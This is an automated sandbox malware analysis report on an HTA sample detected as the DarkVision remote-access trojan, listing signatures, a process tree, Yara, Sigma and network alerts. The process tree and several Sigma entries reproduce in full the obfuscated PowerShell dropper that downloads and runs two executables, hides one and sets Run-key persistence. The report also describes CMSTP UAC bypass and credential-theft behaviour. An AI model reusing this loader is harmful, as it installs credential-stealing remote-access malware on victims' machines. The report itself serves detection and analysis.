Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
upgrade.hta

Overview

General Information

Sample name:upgrade.hta
Analysis ID:1570651
MD5:03f88b6e5c92cf8865b13fb7495eac0a
SHA1:5f8a0e82674b25a9ef0f5d93f23075b1d7fb632b
SHA256:c839ec03c9b07879980d362ba4615df453d6e5847baf8fb89e1d0f2c5bafb2b8
Tags:htauser-abuse_ch
Infos:

Detection

DarkVision Rat
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected DarkVision Rat
Yara detected UAC Bypass using CMSTP
AI detected suspicious sample
Drops PE files to the user root directory
Found direct / indirect Syscall (likely to bypass EDR)
Found hidden mapped module (file has been removed from disk)
Injects code into the Windows Explorer (explorer.exe)
Machine Learning detection for dropped file
Maps a DLL or memory area into another process
Powershell drops PE file
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Suspicious MSHTA Child Process
Suspicious powershell command line found
Switches to a custom stack to bypass stack traces
Tries to harvest and steal Bitcoin Wallet information
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Writes to foreign memory regions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to dynamically determine API calls
Contains functionality to launch a program with higher privileges
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the user directory
Drops files with a non-matching file extension (content does not match file extension)
Enables debug privileges
File is packed with WinRar
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains an invalid checksum
PE file contains executable resources (Code or Archives)
PE file contains more sections than normal
PE file contains sections with non-standard names
Queries disk information (often used to detect virtual machines)
Queries the installation date of Windows
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Searches for user specific document files
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Startup Folder File Write
Stores files to the Windows start menu directory
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match

Classification

Process Tree

  • System is w10x64
  • mshta.exe (PID: 7156 cmdline: mshta.exe "C:\Users\user\Desktop\upgrade.hta" MD5: 06B02D5C097C7DB1F109749C45F3F505)
    • powershell.exe (PID: 6532 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function gCKawp($xqETuHkBN, $cgpVK){[IO.File]::WriteAllBytes($xqETuHkBN, $cgpVK)};function TPUUAPTRh($xqETuHkBN){if($xqETuHkBN.EndsWith((odPEDz @(47359,47413,47421,47421))) -eq $True){Start-Process (odPEDz @(47427,47430,47423,47413,47421,47421,47364,47363,47359,47414,47433,47414)) $xqETuHkBN}else{Start-Process $xqETuHkBN}};function IogZmN($xqETuHkBN, $fYoQizCPx){[Microsoft.Win32.Registry]::SetValue((odPEDz @(47385,47388,47382,47402,47408,47380,47398,47395,47395,47382,47391,47397,47408,47398,47396,47382,47395,47405,47396,47424,47415,47429,47432,47410,47427,47414,47405,47390,47418,47412,47427,47424,47428,47424,47415,47429,47405,47400,47418,47423,47413,47424,47432,47428,47405,47380,47430,47427,47427,47414,47423,47429,47399,47414,47427,47428,47418,47424,47423,47405,47395,47430,47423)), $fYoQizCPx, $xqETuHkBN)};function MCNjOTFH($xqETuHkBN){$IVMCWJwi=(odPEDz @(47385,47418,47413,47413,47414,47423));$VGLgiVJ=(Get-ChildItem $xqETuHkBN -Force);$VGLgiVJ.Attributes=$VGLgiVJ.Attributes -bor ([IO.FileAttributes]$IVMCWJwi).value__};function oBvvmAnE($iXTtDfK){$GzBKYX = New-Object (odPEDz @(47391,47414,47429,47359,47400,47414,47411,47380,47421,47418,47414,47423,47429));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$cgpVK = $GzBKYX.DownloadData($iXTtDfK);return $cgpVK};function odPEDz($rGehVsA){$jtBdpZ=47313;$YWQUeqd=$Null;foreach($qyPsd in $rGehVsA){$YWQUeqd+=[char]($qyPsd-$jtBdpZ)};return $YWQUeqd};function WmSEp(){$lEPJgGls = $env:APPDATA + '\';$SCATfjY = oBvvmAnE (odPEDz @(47417,47429,47429,47425,47428,47371,47360,47360,47425,47430,47411,47358,47414,47362,47415,47412,47413,47410,47413,47369,47363,47368,47367,47413,47365,47368,47413,47415,47410,47413,47364,47415,47369,47363,47415,47366,47370,47364,47367,47411,47370,47412,47366,47364,47359,47427,47363,47359,47413,47414,47431,47360,47388,47391,47399,47402,47386,47391,47391,47391,47359,47414,47433,47414));$VQrLt = $lEPJgGls + 'KNVYINNN.exe';gCKawp $VQrLt $SCATfjY;TPUUAPTRh $VQrLt;$fYoQizCPx = 'hzQtnaa';IogZmN $VQrLt $fYoQizCPx;;$MfdAL = oBvvmAnE (odPEDz @(47417,47429,47429,47425,47428,47371,47360,47360,47425,47430,47411,47358,47412,47366,47410,47362,47369,47414,47411,47368,47367,47414,47361,47364,47365,47413,47369,47369,47369,47370,47370,47414,47362,47415,47365,47365,47415,47369,47366,47370,47410,47369,47365,47370,47359,47427,47363,47359,47413,47414,47431,47360,47428,47414,47412,47424,47423,47413,47359,47414,47433,47414));$NtudOlR = $lEPJgGls + 'second.exe';gCKawp $NtudOlR $MfdAL;TPUUAPTRh $NtudOlR;MCNjOTFH $NtudOlR;;;}WmSEp; MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
      • conhost.exe (PID: 6552 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • KNVYINNN.exe (PID: 2500 cmdline: "C:\Users\user\AppData\Roaming\KNVYINNN.exe" MD5: E06AFCDB16D22BD45BC3A5B01C96DA3A)
        • pyexec.exe (PID: 6404 cmdline: "C:\Users\user\pyexec.exe" MD5: B6F6C3C38568EE26F1AC70411A822405)
          • pyexec.exe (PID: 6020 cmdline: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exe MD5: B6F6C3C38568EE26F1AC70411A822405)
            • cmd.exe (PID: 3412 cmdline: C:\Windows\SysWOW64\cmd.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
              • conhost.exe (PID: 1456 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
              • BQE_Fast.exe (PID: 4228 cmdline: C:\Users\user\AppData\Local\Temp\BQE_Fast.exe MD5: 967F4470627F823F4D7981E511C9824F)
      • second.exe (PID: 6628 cmdline: "C:\Users\user\AppData\Roaming\second.exe" MD5: 47CB10EBF122AEA1D817C5B57737C2FC)
        • Virtual.exe (PID: 5672 cmdline: "C:\Users\user\Virtual.exe" MD5: C8A2DE7077F97D4BCE1A44317B49EF41)
          • Virtual.exe (PID: 1712 cmdline: C:\Users\user\AppData\Roaming\RemoteSvc\Virtual.exe MD5: C8A2DE7077F97D4BCE1A44317B49EF41)
            • cmd.exe (PID: 6168 cmdline: C:\Windows\SysWOW64\cmd.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
              • conhost.exe (PID: 3396 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
              • explorer.exe (PID: 368 cmdline: C:\Windows\explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)
  • KNVYINNN.exe (PID: 6576 cmdline: "C:\Users\user\AppData\Roaming\KNVYINNN.exe" MD5: E06AFCDB16D22BD45BC3A5B01C96DA3A)
    • pyexec.exe (PID: 1784 cmdline: "C:\Users\user\pyexec.exe" MD5: B6F6C3C38568EE26F1AC70411A822405)
      • pyexec.exe (PID: 5368 cmdline: C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exe MD5: B6F6C3C38568EE26F1AC70411A822405)
        • cmd.exe (PID: 5168 cmdline: C:\Windows\SysWOW64\cmd.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
          • conhost.exe (PID: 2308 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • svchost.exe (PID: 3720 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
  • pyexec.exe (PID: 352 cmdline: "C:\Users\user\AppData\Roaming\AltDaemon\pyexec.exe" MD5: B6F6C3C38568EE26F1AC70411A822405)
    • cmd.exe (PID: 940 cmdline: C:\Windows\SysWOW64\cmd.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • conhost.exe (PID: 4888 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Dropped Files

SourceRuleDescriptionAuthorStrings
C:\Users\user\AppData\Local\Temp\yawaJoeSecurity_DarkVisionRatYara detected DarkVision RatJoe Security

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    0000000A.00000002.2318677215.0000000004E9D000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_UACBypassusingCMSTPYara detected UAC Bypass using CMSTPJoe Security
      00000006.00000002.2004201753.00000000035CC000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UACBypassusingCMSTPYara detected UAC Bypass using CMSTPJoe Security
        0000001D.00000002.2903997125.0000000004F91000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_UACBypassusingCMSTPYara detected UAC Bypass using CMSTPJoe Security
          00000017.00000002.2605244009.0000000004C08000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_UACBypassusingCMSTPYara detected UAC Bypass using CMSTPJoe Security
            00000014.00000002.2453490254.0000000003555000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UACBypassusingCMSTPYara detected UAC Bypass using CMSTPJoe Security
              Click to see the 8 entries

              Unpacked PEs

              SourceRuleDescriptionAuthorStrings
              18.2.BQE_Fast.exe.26fdaed.0.raw.unpackJoeSecurity_UACBypassusingCMSTPYara detected UAC Bypass using CMSTPJoe Security
                18.2.BQE_Fast.exe.26fdaed.0.raw.unpackINDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOMDetects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)ditekSHen
                • 0x25f21d:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7}
                • 0x25f2a8:$s1: CoGetObject
                • 0x25f201:$s2: Elevation:Administrator!new:
                23.2.cmd.exe.4c546cd.2.raw.unpackJoeSecurity_UACBypassusingCMSTPYara detected UAC Bypass using CMSTPJoe Security
                  23.2.cmd.exe.4c546cd.2.raw.unpackINDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOMDetects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)ditekSHen
                  • 0x25e61d:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7}
                  • 0x25e6a8:$s1: CoGetObject
                  • 0x25e601:$s2: Elevation:Administrator!new:
                  29.2.cmd.exe.4fdcacd.2.raw.unpackJoeSecurity_UACBypassusingCMSTPYara detected UAC Bypass using CMSTPJoe Security
                    Click to see the 22 entries

                    Sigma Signatures

                    System Summary

                    barindex
                    Sigma detected: Potential PowerShell Command Line Obfuscation
                    Source: Process startedAuthor: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function gCKawp($xqETuHkBN, $cgpVK){[IO.File]::WriteAllBytes($xqETuHkBN, $cgpVK)};function TPUUAPTRh($xqETuHkBN){if($xqETuHkBN.EndsWith((odPEDz @(47359,47413,47421,47421))) -eq $True){Start-Process (odPEDz @(47427,47430,47423,47413,47421,47421,47364,47363,47359,47414,47433,47414)) $xqETuHkBN}else{Start-Process $xqETuHkBN}};function IogZmN($xqETuHkBN, $fYoQizCPx){[Microsoft.Win32.Registry]::SetValue((odPEDz @(47385,47388,47382,47402,47408,47380,47398,47395,47395,47382,47391,47397,47408,47398,47396,47382,47395,47405,47396,47424,47415,47429,47432,47410,47427,47414,47405,47390,47418,47412,47427,47424,47428,47424,47415,47429,47405,47400,47418,47423,47413,47424,47432,47428,47405,47380,47430,47427,47427,47414,47423,47429,47399,47414,47427,47428,47418,47424,47423,47405,47395,47430,47423)), $fYoQizCPx, $xqETuHkBN)};function MCNjOTFH($xqETuHkBN){$IVMCWJwi=(odPEDz @(47385,47418,47413,47413,47414,47423));$VGLgiVJ=(Get-ChildItem $xqETuHkBN -Force);$VGLgiVJ.Attributes=$VGLgiVJ.Attributes -bor ([IO.FileAttributes]$IVMCWJwi).value__};function oBvvmAnE($iXTtDfK){$GzBKYX = New-Object (odPEDz @(47391,47414,47429,47359,47400,47414,47411,47380,47421,47418,47414,47423,47429));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$cgpVK = $GzBKYX.DownloadData($iXTtDfK);return $cgpVK};function odPEDz($rGehVsA){$jtBdpZ=47313;$YWQUeqd=$Null;foreach($qyPsd in $rGehVsA){$YWQUeqd+=[char]($qyPsd-$jtBdpZ)};return $YWQUeqd};function WmSEp(){$lEPJgGls = $env:APPDATA + '\';$SCATfjY = oBvvmAnE (odPEDz @(47417,47429,47429,47425,47428,47371,47360,47360,47425,47430,47411,47358,47414,47362,47415,47412,47413,47410,47413,47369,47363,47368,47367,47413,47365,47368,47413,47415,47410,47413,47364,47415,47369,47363,47415,47366,47370,47364,47367,47411,47370,47412,47366,47364,47359,47427,47363,47359,47413,47414,47431,47360,47388,47391,47399,47402,47386,47391,47391,47391,47359,47414,47433,47414));$VQrLt = $lEPJgGls + 'KNVYINNN.exe';gCKawp $VQrLt $SCATfjY;TPUUAPTRh $VQrLt;$fYoQizCPx = 'hzQtnaa';IogZmN $VQrLt $fYoQizCPx;;$MfdAL = oBvvmAnE (odPEDz @(47417,47429,47429,47425,47428,47371,47360,47360,47425,47430,47411,47358,47412,47366,47410,47362,47369,47414,47411,47368,47367,47414,47361,47364,47365,47413,47369,47369,47369,47370,47370,47414,47362,47415,47365,47365,47415,47369,47366,47370,47410,47369,47365,47370,47359,47427,47363,47359,47413,47414,47431,47360,47428,47414,47412,47424,47423,47413,47359,47414,47433,47414));$NtudOlR = $lEPJgGls + 'second.exe';gCKawp $NtudOlR $MfdAL;TPUUAPTRh $NtudOlR;MCNjOTFH $NtudOlR;;;}WmSEp;, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function gCKawp($xqETuHkBN, $cgpVK){[IO.File]::WriteAllBytes($xqETuHkBN, $cgpVK)};function TPUUAPTRh($xqETuHkBN){if($xqETuHkBN.EndsWith((odPEDz @(47359,47413,47421,47421))) -eq $True){Start-Process (odPEDz @(47427,47430,47423,47413,47421,47421,47364,47
                    Sigma detected: Suspicious MSHTA Child Process
                    Source: Process startedAuthor: Michael Haag: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function gCKawp($xqETuHkBN, $cgpVK){[IO.File]::WriteAllBytes($xqETuHkBN, $cgpVK)};function TPUUAPTRh($xqETuHkBN){if($xqETuHkBN.EndsWith((odPEDz @(47359,47413,47421,47421))) -eq $True){Start-Process (odPEDz @(47427,47430,47423,47413,47421,47421,47364,47363,47359,47414,47433,47414)) $xqETuHkBN}else{Start-Process $xqETuHkBN}};function IogZmN($xqETuHkBN, $fYoQizCPx){[Microsoft.Win32.Registry]::SetValue((odPEDz @(47385,47388,47382,47402,47408,47380,47398,47395,47395,47382,47391,47397,47408,47398,47396,47382,47395,47405,47396,47424,47415,47429,47432,47410,47427,47414,47405,47390,47418,47412,47427,47424,47428,47424,47415,47429,47405,47400,47418,47423,47413,47424,47432,47428,47405,47380,47430,47427,47427,47414,47423,47429,47399,47414,47427,47428,47418,47424,47423,47405,47395,47430,47423)), $fYoQizCPx, $xqETuHkBN)};function MCNjOTFH($xqETuHkBN){$IVMCWJwi=(odPEDz @(47385,47418,47413,47413,47414,47423));$VGLgiVJ=(Get-ChildItem $xqETuHkBN -Force);$VGLgiVJ.Attributes=$VGLgiVJ.Attributes -bor ([IO.FileAttributes]$IVMCWJwi).value__};function oBvvmAnE($iXTtDfK){$GzBKYX = New-Object (odPEDz @(47391,47414,47429,47359,47400,47414,47411,47380,47421,47418,47414,47423,47429));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$cgpVK = $GzBKYX.DownloadData($iXTtDfK);return $cgpVK};function odPEDz($rGehVsA){$jtBdpZ=47313;$YWQUeqd=$Null;foreach($qyPsd in $rGehVsA){$YWQUeqd+=[char]($qyPsd-$jtBdpZ)};return $YWQUeqd};function WmSEp(){$lEPJgGls = $env:APPDATA + '\';$SCATfjY = oBvvmAnE (odPEDz @(47417,47429,47429,47425,47428,47371,47360,47360,47425,47430,47411,47358,47414,47362,47415,47412,47413,47410,47413,47369,47363,47368,47367,47413,47365,47368,47413,47415,47410,47413,47364,47415,47369,47363,47415,47366,47370,47364,47367,47411,47370,47412,47366,47364,47359,47427,47363,47359,47413,47414,47431,47360,47388,47391,47399,47402,47386,47391,47391,47391,47359,47414,47433,47414));$VQrLt = $lEPJgGls + 'KNVYINNN.exe';gCKawp $VQrLt $SCATfjY;TPUUAPTRh $VQrLt;$fYoQizCPx = 'hzQtnaa';IogZmN $VQrLt $fYoQizCPx;;$MfdAL = oBvvmAnE (odPEDz @(47417,47429,47429,47425,47428,47371,47360,47360,47425,47430,47411,47358,47412,47366,47410,47362,47369,47414,47411,47368,47367,47414,47361,47364,47365,47413,47369,47369,47369,47370,47370,47414,47362,47415,47365,47365,47415,47369,47366,47370,47410,47369,47365,47370,47359,47427,47363,47359,47413,47414,47431,47360,47428,47414,47412,47424,47423,47413,47359,47414,47433,47414));$NtudOlR = $lEPJgGls + 'second.exe';gCKawp $NtudOlR $MfdAL;TPUUAPTRh $NtudOlR;MCNjOTFH $NtudOlR;;;}WmSEp;, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function gCKawp($xqETuHkBN, $cgpVK){[IO.File]::WriteAllBytes($xqETuHkBN, $cgpVK)};function TPUUAPTRh($xqETuHkBN){if($xqETuHkBN.EndsWith((odPEDz @(47359,47413,47421,47421))) -eq $True){Start-Process (odPEDz @(47427,47430,47423,47413,47421,47421,47364,47
                    Sigma detected: Change PowerShell Policies to an Insecure Level
                    Source: Process startedAuthor: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function gCKawp($xqETuHkBN, $cgpVK){[IO.File]::WriteAllBytes($xqETuHkBN, $cgpVK)};function TPUUAPTRh($xqETuHkBN){if($xqETuHkBN.EndsWith((odPEDz @(47359,47413,47421,47421))) -eq $True){Start-Process (odPEDz @(47427,47430,47423,47413,47421,47421,47364,47363,47359,47414,47433,47414)) $xqETuHkBN}else{Start-Process $xqETuHkBN}};function IogZmN($xqETuHkBN, $fYoQizCPx){[Microsoft.Win32.Registry]::SetValue((odPEDz @(47385,47388,47382,47402,47408,47380,47398,47395,47395,47382,47391,47397,47408,47398,47396,47382,47395,47405,47396,47424,47415,47429,47432,47410,47427,47414,47405,47390,47418,47412,47427,47424,47428,47424,47415,47429,47405,47400,47418,47423,47413,47424,47432,47428,47405,47380,47430,47427,47427,47414,47423,47429,47399,47414,47427,47428,47418,47424,47423,47405,47395,47430,47423)), $fYoQizCPx, $xqETuHkBN)};function MCNjOTFH($xqETuHkBN){$IVMCWJwi=(odPEDz @(47385,47418,47413,47413,47414,47423));$VGLgiVJ=(Get-ChildItem $xqETuHkBN -Force);$VGLgiVJ.Attributes=$VGLgiVJ.Attributes -bor ([IO.FileAttributes]$IVMCWJwi).value__};function oBvvmAnE($iXTtDfK){$GzBKYX = New-Object (odPEDz @(47391,47414,47429,47359,47400,47414,47411,47380,47421,47418,47414,47423,47429));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$cgpVK = $GzBKYX.DownloadData($iXTtDfK);return $cgpVK};function odPEDz($rGehVsA){$jtBdpZ=47313;$YWQUeqd=$Null;foreach($qyPsd in $rGehVsA){$YWQUeqd+=[char]($qyPsd-$jtBdpZ)};return $YWQUeqd};function WmSEp(){$lEPJgGls = $env:APPDATA + '\';$SCATfjY = oBvvmAnE (odPEDz @(47417,47429,47429,47425,47428,47371,47360,47360,47425,47430,47411,47358,47414,47362,47415,47412,47413,47410,47413,47369,47363,47368,47367,47413,47365,47368,47413,47415,47410,47413,47364,47415,47369,47363,47415,47366,47370,47364,47367,47411,47370,47412,47366,47364,47359,47427,47363,47359,47413,47414,47431,47360,47388,47391,47399,47402,47386,47391,47391,47391,47359,47414,47433,47414));$VQrLt = $lEPJgGls + 'KNVYINNN.exe';gCKawp $VQrLt $SCATfjY;TPUUAPTRh $VQrLt;$fYoQizCPx = 'hzQtnaa';IogZmN $VQrLt $fYoQizCPx;;$MfdAL = oBvvmAnE (odPEDz @(47417,47429,47429,47425,47428,47371,47360,47360,47425,47430,47411,47358,47412,47366,47410,47362,47369,47414,47411,47368,47367,47414,47361,47364,47365,47413,47369,47369,47369,47370,47370,47414,47362,47415,47365,47365,47415,47369,47366,47370,47410,47369,47365,47370,47359,47427,47363,47359,47413,47414,47431,47360,47428,47414,47412,47424,47423,47413,47359,47414,47433,47414));$NtudOlR = $lEPJgGls + 'second.exe';gCKawp $NtudOlR $MfdAL;TPUUAPTRh $NtudOlR;MCNjOTFH $NtudOlR;;;}WmSEp;, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function gCKawp($xqETuHkBN, $cgpVK){[IO.File]::WriteAllBytes($xqETuHkBN, $cgpVK)};function TPUUAPTRh($xqETuHkBN){if($xqETuHkBN.EndsWith((odPEDz @(47359,47413,47421,47421))) -eq $True){Start-Process (odPEDz @(47427,47430,47423,47413,47421,47421,47364,47
                    Sigma detected: CurrentVersion Autorun Keys Modification
                    Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\KNVYINNN.exe, EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6532, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\hzQtnaa
                    Sigma detected: Potential Binary Or Script Dropper Via PowerShell
                    Source: File createdAuthor: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6532, TargetFilename: C:\Users\user\AppData\Roaming\KNVYINNN.exe
                    Sigma detected: Startup Folder File Write
                    Source: File createdAuthor: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Windows\System32\svchost.exe, ProcessId: 3720, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BITF7D6.tmp
                    Sigma detected: Non Interactive PowerShell Process Spawned
                    Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function gCKawp($xqETuHkBN, $cgpVK){[IO.File]::WriteAllBytes($xqETuHkBN, $cgpVK)};function TPUUAPTRh($xqETuHkBN){if($xqETuHkBN.EndsWith((odPEDz @(47359,47413,47421,47421))) -eq $True){Start-Process (odPEDz @(47427,47430,47423,47413,47421,47421,47364,47363,47359,47414,47433,47414)) $xqETuHkBN}else{Start-Process $xqETuHkBN}};function IogZmN($xqETuHkBN, $fYoQizCPx){[Microsoft.Win32.Registry]::SetValue((odPEDz @(47385,47388,47382,47402,47408,47380,47398,47395,47395,47382,47391,47397,47408,47398,47396,47382,47395,47405,47396,47424,47415,47429,47432,47410,47427,47414,47405,47390,47418,47412,47427,47424,47428,47424,47415,47429,47405,47400,47418,47423,47413,47424,47432,47428,47405,47380,47430,47427,47427,47414,47423,47429,47399,47414,47427,47428,47418,47424,47423,47405,47395,47430,47423)), $fYoQizCPx, $xqETuHkBN)};function MCNjOTFH($xqETuHkBN){$IVMCWJwi=(odPEDz @(47385,47418,47413,47413,47414,47423));$VGLgiVJ=(Get-ChildItem $xqETuHkBN -Force);$VGLgiVJ.Attributes=$VGLgiVJ.Attributes -bor ([IO.FileAttributes]$IVMCWJwi).value__};function oBvvmAnE($iXTtDfK){$GzBKYX = New-Object (odPEDz @(47391,47414,47429,47359,47400,47414,47411,47380,47421,47418,47414,47423,47429));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$cgpVK = $GzBKYX.DownloadData($iXTtDfK);return $cgpVK};function odPEDz($rGehVsA){$jtBdpZ=47313;$YWQUeqd=$Null;foreach($qyPsd in $rGehVsA){$YWQUeqd+=[char]($qyPsd-$jtBdpZ)};return $YWQUeqd};function WmSEp(){$lEPJgGls = $env:APPDATA + '\';$SCATfjY = oBvvmAnE (odPEDz @(47417,47429,47429,47425,47428,47371,47360,47360,47425,47430,47411,47358,47414,47362,47415,47412,47413,47410,47413,47369,47363,47368,47367,47413,47365,47368,47413,47415,47410,47413,47364,47415,47369,47363,47415,47366,47370,47364,47367,47411,47370,47412,47366,47364,47359,47427,47363,47359,47413,47414,47431,47360,47388,47391,47399,47402,47386,47391,47391,47391,47359,47414,47433,47414));$VQrLt = $lEPJgGls + 'KNVYINNN.exe';gCKawp $VQrLt $SCATfjY;TPUUAPTRh $VQrLt;$fYoQizCPx = 'hzQtnaa';IogZmN $VQrLt $fYoQizCPx;;$MfdAL = oBvvmAnE (odPEDz @(47417,47429,47429,47425,47428,47371,47360,47360,47425,47430,47411,47358,47412,47366,47410,47362,47369,47414,47411,47368,47367,47414,47361,47364,47365,47413,47369,47369,47369,47370,47370,47414,47362,47415,47365,47365,47415,47369,47366,47370,47410,47369,47365,47370,47359,47427,47363,47359,47413,47414,47431,47360,47428,47414,47412,47424,47423,47413,47359,47414,47433,47414));$NtudOlR = $lEPJgGls + 'second.exe';gCKawp $NtudOlR $MfdAL;TPUUAPTRh $NtudOlR;MCNjOTFH $NtudOlR;;;}WmSEp;, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function gCKawp($xqETuHkBN, $cgpVK){[IO.File]::WriteAllBytes($xqETuHkBN, $cgpVK)};function TPUUAPTRh($xqETuHkBN){if($xqETuHkBN.EndsWith((odPEDz @(47359,47413,47421,47421))) -eq $True){Start-Process (odPEDz @(47427,47430,47423,47413,47421,47421,47364,47
                    Sigma detected: Proxy Execution Via Explorer.exe
                    Source: Process startedAuthor: Furkan CALISKAN, @caliskanfurkan_, @oscd_initiative: Data: Command: C:\Windows\explorer.exe, CommandLine: C:\Windows\explorer.exe, CommandLine|base64offset|contains: , Image: C:\Windows\explorer.exe, NewProcessName: C:\Windows\explorer.exe, OriginalFileName: C:\Windows\explorer.exe, ParentCommandLine: C:\Windows\SysWOW64\cmd.exe, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6168, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Windows\explorer.exe, ProcessId: 368, ProcessName: explorer.exe
                    Sigma detected: Windows Processes Suspicious Parent Directory
                    Source: Process startedAuthor: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 3720, ProcessName: svchost.exe

                    Suricata Signatures

                    TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                    2024-12-07T15:44:24.793832+010020283713Unknown Traffic192.168.2.449769104.21.72.125443TCP
                    2024-12-07T15:44:27.686075+010020283713Unknown Traffic192.168.2.449777104.21.72.125443TCP
                    2024-12-07T15:44:29.616456+010020283713Unknown Traffic192.168.2.449782104.21.72.125443TCP
                    2024-12-07T15:44:33.892566+010020283713Unknown Traffic192.168.2.449793104.21.72.125443TCP
                    2024-12-07T15:44:36.297742+010020283713Unknown Traffic192.168.2.449799104.21.72.125443TCP
